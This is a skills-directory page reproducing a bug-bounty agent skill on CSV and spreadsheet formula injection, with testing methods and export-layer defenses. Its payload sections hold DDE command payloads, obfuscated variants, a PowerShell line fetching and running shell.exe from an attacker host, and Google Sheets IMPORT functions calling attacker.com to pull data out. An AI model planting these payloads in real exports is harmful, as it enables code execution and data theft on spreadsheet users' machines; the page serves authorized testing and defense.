Csv formula injection
Skill ShulkwiSEC/bb-huge/skills/curated/csv-formula-injection
bb-huge 🤗 , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill csv-formula-injectionAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.
SKILL.md
4.4 KB, as published. Nobody here has run it
SKILL: CSV Formula Injection
AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.
0. QUICK START
Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):
=
+
-
@
Test cells may look like:
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)
Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.
1. DDE INJECTION (EXCEL / LIBREOFFICE)
Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:
DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
PowerShell-style chaining (lab only; replace host and payload with benign equivalents):
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
2. OBFUSCATION
Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
Extra whitespace after =:
= cmd|'/c calc.exe'!A
Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):
= C m D |'/c calc.exe'!A
rundll32 style:
=rundll32|'URL.dll,OpenURL calc.exe'!A
3. GOOGLE SHEETS
If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:
Data exfiltration / probe (replace URL with your authorized callback):
=IMPORTXML("http://attacker.com/", "//a/@href")
Other high-risk imports:
=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")
Document which function executed and what network side effects occurred.
4. TESTING METHODOLOGY
- Map sinks — Any feature that emits CSV, XLSX, or tab-separated output: admin exports, audit logs, user rosters, billing reports, search results.
- Trace user-controlled fields — Profile fields, ticket titles, transaction memos, tags, filenames in ZIP exports—any column that echoes stored input.
- Inject formula prefixes — Start with benign arithmetic (
=1+1,+1+1) to detect evaluation; escalate only per rules. - Open in target software — Match victim workflow: Excel desktop, LibreOffice, Google Sheets import, locale-specific decimal separators.
- Evidence — Screenshot/capture whether the cell shows a calculated result, a security warning, or DDE prompt; note product version.
Note: focus on the user input -> export -> opened in spreadsheet software chain.
5. DEFENSE
Application and export-layer mitigations:
- Prefix with single quote — In many spreadsheet apps, leading
'forces text interpretation:'=cmd|...displays literally. - Prefix with tab — Some pipelines treat tab-prefixed fields as non-formula text when ingested correctly.
- Strip or neutralize leading triggers — Remove or escape leading
=,+,-,@(and Unicode lookalikes) at export time. - CSV encoding — Use consistent quoting; validate column types; avoid passing raw formula strings into financial/reporting templates without sanitization.
- User education — Do not enable external data / DDE without policy.
Example safe export transformation (conceptual):
Input: =1+1
Output: '=1+1 OR \t=1+1 OR (empty prefix) with escaped quotes per RFC 4180
Note: when correlating business exports, reports, and API export parameters, combine with injection, business-logic, and API-security skills.
Gives 0 of the 12 instructions most pdf office docs skills give
Counted across 635 of the 690 authors here whose files we hold, read 2026-08-06
- extract text using pdfplumberin 92 of 635, across 25 files
- create PDFs using reportlabin 83 of 635, across 16 files
- read FORMS.md to fill out PDF formsin 80 of 635, across 13 files
- OCR scanned PDFs using pytesseractin 77 of 635, across 10 files
- merge or split PDFs using qpdfin 70 of 635, across 3 files
- use Excel formulas instead of hardcoded calculated valuesin 68 of 635, across 12 files
- unpack edit xml and repack existing documentsin 63 of 635, across 8 files
- document sources for hardcoded valuesin 61 of 635, across 9 files
- write minimal python code without unnecessary commentsin 59 of 635, across 7 files
- run the recalculation script after adding or modifying formulasin 58 of 635, across 6 files
- fix all identified formula errors and recalculatein 58 of 635, across 6 files
- format years as text stringsin 57 of 635, across 5 files
Said here and by no other author read
- use only where explicitly authorized
- prefer lab targets and document consent
- do not target end users without program rules
- prioritize formula prefix characters
- replace host and payload with benign equivalents
- document executed function and network side effects
Grouped from the skills themselves: near-identical wordings counted once, and counted by distinct author, so one author publishing three of these counts once.